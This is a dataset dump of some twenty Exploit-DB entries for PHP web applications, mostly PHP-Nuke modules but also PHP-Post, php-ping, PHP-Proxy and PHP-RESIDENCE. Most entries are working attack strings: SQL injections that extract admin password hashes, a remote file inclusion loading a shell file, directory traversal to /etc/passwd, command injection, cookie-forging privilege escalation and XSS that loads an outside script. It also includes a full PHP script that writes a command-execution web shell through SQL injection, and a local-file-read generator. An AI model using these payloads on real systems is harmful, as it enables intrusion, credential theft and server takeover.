deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4563
Description: PHP-Nuke platinum 7.6.b.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-23
Author: BiNgZa

Exploit:
----------------------------------------------
GrEeTs To -=sHaDoW sEcUrItY TeAm=- GrEaTs To
----------------------------------------------
 A2J, Chucks, The Pitbull, ICQBomber, str0ke
----------------------------------------------
BiG sHoUt OuT tO udplink.net & ascnet.biz :)
----------------------------------------------



Vulnerability Type: Remote File Inclusion
Vulnerable file: /Platinum 7.6.b.5 Php_Nuke_Fusion/public_html/modules/Forums/favorites.php
Exploit URL: http://localhost/Platinum 7.6.b.5 Php_Nuke_Fusion/public_html/modules/Forums/favorites.php?nuke_bb_root_path=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: nuke_bb_root_path
Line number: 24
Lines:

----------------------------------------------
$phpbb_root_path = 'modules/Forums/';
include($nuke_bb_root_path . 'extension.inc');
include($nuke_bb_root_path . 'common.'.$phpEx);

----------------------------------------------

----------------------------------------------
FoUnD By BiNgZa AKA RaZor
----------------------------------------------
DoRk:Powered by Platinum 7.6.b.5
----------------------------------------------
shadowcrew@hotmail.co.uk
----------------------------------------------
shadow.php0h.com
----------------------------------------------

# milw0rm.com [2007-10-23]
Exploit-DB #31287
Description: PHP-Nuke Recipe Module 1.3 - 'recipeid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-23
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27955/info

The Recipe module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Recipe 1.3 is vulnerable; other versions may also be affected.

http://www.example.com/modules.php?name=Recipe&recipeid=-000/**/union+select+0,pwd,0,0x3a,0x3a,0,aid,aid,pwd,0,0,0,0,0x3a,0,0/**/from/**/nuke_authors/*
Exploit-DB #32497
Description: PHP-Nuke Sarkilar Module - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-20
Author: r45c4l

Exploit:
source: https://www.securityfocus.com/bid/31830/info

Sarkilar module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?name=Sarkilar&op=showcontent&id=-1+union+select+null,null,pwd,email,user_uid,null,null,null,null+from+hebuname_authors--
Exploit-DB #26428
Description: PHP-Nuke Search Enhanced Module 1.1/2.0 - HTML Injection
Type: webapps
Platform: php
Date: 2005-10-26
Author: bhfh01

Exploit:
source: https://www.securityfocus.com/bid/15218/info

Search Enhanced module for is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<html>
<form name=searchform method=post action=http://www.example.com/modules.php?name=Search_Enhanced>
<input type="text" name="query" size="15" value='<script src=http://[location]/js.js></script>'>
<input type=submit name=sub>
<script>document.searchform.sub.click()</script>
</html>
Exploit-DB #26377
Description: PHP-Nuke Search Module - 'modules.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-10-19
Author: sp3x@securityreason.com

Exploit:
source: https://www.securityfocus.com/bid/15137/info

PHPNuke Search Module is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

A remote attacker may view files that are only intended to be accessible to authenticated and authorized users. Information obtained may be used in further attacks. 

http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../../../../../../../../../etc/passwd%00

http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../Forums/viewtopic&phpEx=../../../.
./../../etc/passwd
Exploit-DB #31241
Description: PHP-Nuke Sections Module - 'artid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27879/info

The PHP-Nuke Sections module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/xxxxSections&op=viewarticle&artid=-9999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%20%20/**/0,1,aid,pwd,4/**/from/**/nuke_authors/*where%20admin%20-2
Exploit-DB #31297
Description: PHP-Nuke Sell Module - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-25
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/27980/info

The 'Sell' module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?name=Sell&d_op=viewsell&cid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202
Exploit-DB #22349
Description: PHP-Nuke Splatt Forum 3.2 Module - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-03-12
Author: Rynho Zeros Web

Exploit:
source: https://www.securityfocus.com/bid/7080/info

The Splatt Forum module for PHPNuke has been reported prone to a vulnerability which, when exploited, may disclose sensitive path information to a remote attacker.

An attacker could use the information gathered in this manner to mount further attacks against the host.

This vulnerability was reported to affect Splatt Forums 3.2 other versions may also be affected.


http://www.example.com/modules.php?op=modload&name=Forums&file=attachment&AtchOp=show
Exploit-DB #22557
Description: PHP-Nuke Splatt Forum 4.0 Module - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-05-01
Author: Morning Wood

Exploit:
source: https://www.securityfocus.com/bid/7483/info

Splatt Forum is a public message board plugin designed to be used with PHPNuke.

It has been reported that Splatt Forum does not sufficiently filter user supplied URI parameters for the Splatt Forum 'Search' function.

As a result of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user.

This vulnerability was reported to affect Splatt Forum version 4.0, it is not currently known if other versions are affected. 

Perform a search with the keywords:

<iframe src="http://www.example.com">
Exploit-DB #22558
Description: PHP-Nuke Splatt Forum 4.0 Module - HTML Injection
Type: webapps
Platform: php
Date: 2003-05-01
Author: Morning Wood

Exploit:
source: https://www.securityfocus.com/bid/7484/info

A problem with Splatt Forum could allow remote users to execute arbitrary code in the context of the web site running the Splatt Forum module. The problem occurs due to the lack of sanitization performed on character representations of HTML tags.

As a result, a malicious user may be able to submit a post to the vulnerable site containing embedded script code. This code would be executed by a user's browser in the context of the site.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. The attacker may hijack the session of the legitimate by using cookie-based authentication credentials. Other attacks are also possible.

It should be noted that although this vulnerability has been reported to affect Splatt Forum version 4.0, previous versions may also be affected. 

#
Typical text here <script>alert(document.cookie);</script> additional text here.
#
Exploit-DB #31252
Description: PHP-Nuke Web_Links Module - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27894/info

The PHP-Nuke Web_Links module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(aid,0x3a,pwd),char(111,112,101,114,110,97,108,101,51)/**/from%2F%2A%2A%2Fnuke_authors/*where%20admin%201=%202
Exploit-DB #31339
Description: PHP-Nuke Yellow_Pages Module - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-05
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28109/info

The Yellow_Pages module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects the Yellow_Pages 1; other versions may also be vulnerable.

http://www.example.com/modules.php?name=Yellow_Pages&file=viewdir&cid=-1/**/union/**/select/**/pwd,2/**/from/**/nuke_authors/*where%20admin%20-2
Exploit-DB #31384
Description: PHP-Nuke zClassifieds Module - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-11
Author: Lovebug

Exploit:
source: https://www.securityfocus.com/bid/28211/info

The zClassifieds module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?ZClassifieds&cat=-9999999/**/union/**/select/**/pwd,aid/**/from/**/nuke_authors/*where%20admin1/**
Exploit-DB #23487
Description: PHP-ping - 'Count' Command Execution
Type: webapps
Platform: php
Date: 2003-12-29
Author: ppp-design

Exploit:
source: https://www.securityfocus.com/bid/9309/info

It has been reported that php-ping may be prone to a remote command execution vulnerability that may allow remote attackers to execute commands on vulnerable systems. The problem exists due to insufficient sanitization of shell
metacharacters via the 'count' parameter of php-ping.php script.

Exploitation would permit a remote attacker to execute arbitrary commands with the privileges of the web server hosting the vulnerable software. 

http://www.example.com/php-ping.php?count=1+%26+ls%20-l+%26&submit=Ping%21
http://www.example.com/php-ping.php?count=1+%26+cat%20/etc/passwd+%26&submit=Ping%21
Exploit-DB #2036
Description: PHP-Post 1.0 - Cookie Modification Privilege Escalation
Type: webapps
Platform: php
Date: 2006-07-18
Author: FarhadKey

Exploit:
[KAPDA::#52] - PHP-Post 1.0 Cookie Modification Privilege Escalation Vulnerability


Vulnerable product: Tested on PHP-Post 0.21 and 1.0
Vendor: http://php-post.co.uk
Vulnerability: Privilege Escalation


Date:
--------------------
Found: Nov 23, 2005
Vendor Contacted: Jun 01, 2006
Release Date: July 18, 2006

Vulnerability:
--------------------
Privilege Escalation:
PHP-Post contains a flaw that may allow a remote attacker to gain administrative privileges.
PHP-Post doesn't properly authenticate remote users if auto login is on!
By editing the values of the cookie, an attacker can change their privilege from a regular 
user to administrator and submit it back to the site.


Proof of Concepts:
--------------------
Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]=3nitr0; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=[PII_REDACTED]; post[329]=330

change to:

Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]="ADMIN`S USERNAME"; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=[PII_REDACTED]; post[329]=330

without password ;)


Credit:
--------------------
Farhad Koosha
FarhadKey of KAPDA
farhadkey [at} kapda <d0t> net
Greetz to CVH and Pi3cH :)
Kapda - Security Science Researchers Insitute of Iran
http://www.KAPDA.ir

# milw0rm.com [2006-07-18]
Exploit-DB #28592
Description: PHP-post Web Forum 0.x.1.0 - 'pm.php?replyuser' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-16
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20061/info
 
PHP-Post is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting, SQL-injection, and remote file-include issues, because the application fails to sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. Other attacks are also possible.

http://www.example.com/pm.php?s=o&replyuser="><script>alert(document.cookie);</script><"
Exploit-DB #28591
Description: PHP-post Web Forum 0.x.1.0 - 'profile.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-09-16
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20061/info

PHP-Post is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting, SQL-injection, and remote file-include issues, because the application fails to sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. Other attacks are also possible.

#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/* PhP-post Sql injection Remote Command execution Exploit
/*                 By : HACKERS PAL
/*                   WwW.SoQoR.NeT
*/
print_r('
/***********************************************/
/* PHP-post remote sql injection make phpshell */
/*   by HACKERS PAL <security@soqor.net>       */
/*       site: http://www.soqor.net            */');
if ($argc<2) {
print_r('
/* --                                          */
[-] Usage: php '.$argv[0].' host
[-] Example:
[-] php '.$argv[0].' http://localhost/phpp
/***********************************************/
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$url=$argv[1];
$exploit1="/footer.php?template=11hack11";

         Function get_page($url)
         {

                  if(function_exists("file_get_contents"))
                  {

                       $contents = file_get_contents($url);

                          }
                          else
                          {
                              $fp=fopen("$url","r");
                              while($line=fread($fp,1024))
                              {
                               $contents=$contents.$line;
                              }


                                  }
                       return $contents;
         }

     $page = get_page($url.$exploit1);

             $pa=explode("<b>",$page);
             $pa=explode("</b>",$pa[2]);
             $path = str_replace("footer.php","",$pa[0])."soqor.php";
             $var='\ ';
             $var  = str_replace(" ","",$var);
             $path = str_replace($var,"/",$path);
             $exploit2="/profile.php?user='%20union%20select%201,'<?php%20','system(','".'$_GET[cmd]'."',');','die();','?>',8,9,10,11,12,13,14,15,16,17,1
8,19,20,21%20INTO%20OUTFILE%20'$path'%20from%20phpp_users/*";
     $page_now = get_page($url.$exploit2);
     Echo "\n[+] Go TO $url/soqor.php?cmd=id\n[+] Change id to any command you want :)";
     Die("\n/* Visit us : WwW.SoQoR.NeT                    */\n/***********************************************/");

?>
Exploit-DB #22603
Description: PHP-Proxima - 'autohtml.php' Information Disclosure
Type: webapps
Platform: php
Date: 2003-05-14
Author: Mind Warper

Exploit:
source: https://www.securityfocus.com/bid/7598/info

A vulnerability has been reported for PHP-Proxima. The problem occurs in the autohtml.php script. Specifically, the script fails to verify the contents of a user-supplied variable before including a specified file into an HTML file. As a result, a malicious remote user may be capable of using this as a channel to disclose the contents of arbitrary local system files.

It should be noted that all local files would be accessed with the privileges of user invoking PHP-Proxima. 

http://www.target.org/autohtml.php?op=modload&mainfile=x&name=filename
Exploit-DB #45861
Description: PHP-Proxy 5.1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2018-11-15
Author: Ameer Pornillos

Exploit:
# Exploit Title: PHP-Proxy 5.1.0 - Local File Inclusion
# Date: 2018-11-13
# Exploit Author: Ameer Pornillos
# Contact: https://ethicalhackers.club
# Vendor Homepage: https://www.php-proxy.com/
# Software Link: https://www.php-proxy.com/download/php-proxy.zip
# Version: 5.1.0
# Category: Webapps
# Tested on: XAMPP on Win10_x64
# Description: Downloadable pre-installed version of PHP-Proxy 5.1.0 
# make use of a default app_key wherein can be used for local file inclusion
# attacks. This can be used to generate encrypted string which 
# can gain access to arbitrary local files in the server.
# http://php-proxy-site/index.php?q=[encrypted_string_value]
# CVE: CVE-2018-19246

# POC: 
# 1)
# Generate encrypted string value using the PHP script below
# 2)
# Browse to URL 
# http://php-proxy-site/index.php?q=[encrypted_string_value]
# to read local file

<?php
$file = "file:///C:/xampp/passwords.txt"; //example target file to read
$ip = "192.168.0.1"; //change depending on your IP address that access the app
$app_key = "aeb067ca0aa9a3193dce3a7264c90187";
$key = md5($app_key.$ip);
function str_rot_pass($str, $key, $decrypt = false){
    $key_len = strlen($key);
    $result = str_repeat(' ', strlen($str));
    for($i=0; $i<strlen($str); $i++){
        if($decrypt){
            $ascii = ord($str[$i]) - ord($key[$i % $key_len]);
        } else {
            $ascii = ord($str[$i]) + ord($key[$i % $key_len]);
        }
        $result[$i] = chr($ascii);
    }
    return $result;
}
function base64_url_encode($input){
    return rtrim(strtr(base64_encode($input), '+/', '-_'), '=');
}
echo base64_url_encode(str_rot_pass($file, $key));
?>
Exploit-DB #4925
Description: PHP-RESIDENCE 0.7.2 - 'Search' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-16
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                PHPRESIDENCE 0.7.2 Remote Sql Injection                      ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm)                                                        #
#                                                                                   #
#Script Download : http://www.digitaldruid.net/download/php-residence_0.7.2.zip     #
#                                                                                   #
#Vulnerability Page: http://site.com/path/visualizza_tabelle.php?id_sessione=&anno=2006&tipo_tabella=clienti
#                                                                                   #
#Search query : 99999'union/**/select/**/idutenti,nome_utente,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/utenti/*
#                                                                                   #
#Help : Go Vulnerability Page and Type Search Query in the textbox . Now you can    #
#        see Admin Username And Password                                            #
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-16]
Exploit-DB #11156
Description: PHP-RESIDENCE 0.7.2 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2010-01-16
Author: cr4wl3r

Exploit:
                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   | PHP-RESIDENCE <= 0.7.2 Multiple LFI Vulnerability  |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Download: http://www.digitaldruid.net/download/php-residence_0.7.2.zip
[!] Date: 30.12.2009
[!] Remote: yes

[!] Code :

    include("./includes/templates/$template_data_dir/phrases.php");

[!] PoC:

    [PHP-RESIDENCE_path]/includes/templates/cal/form.php?template_data_dir=[LFI%00]




[!] Code :

    include("./includes/templates/$template_data_dir/phrases.php");

[!] PoC:

    [PHP-RESIDENCE_path]/includes/templates/rat/form.php?template_data_dir=[LFI%00]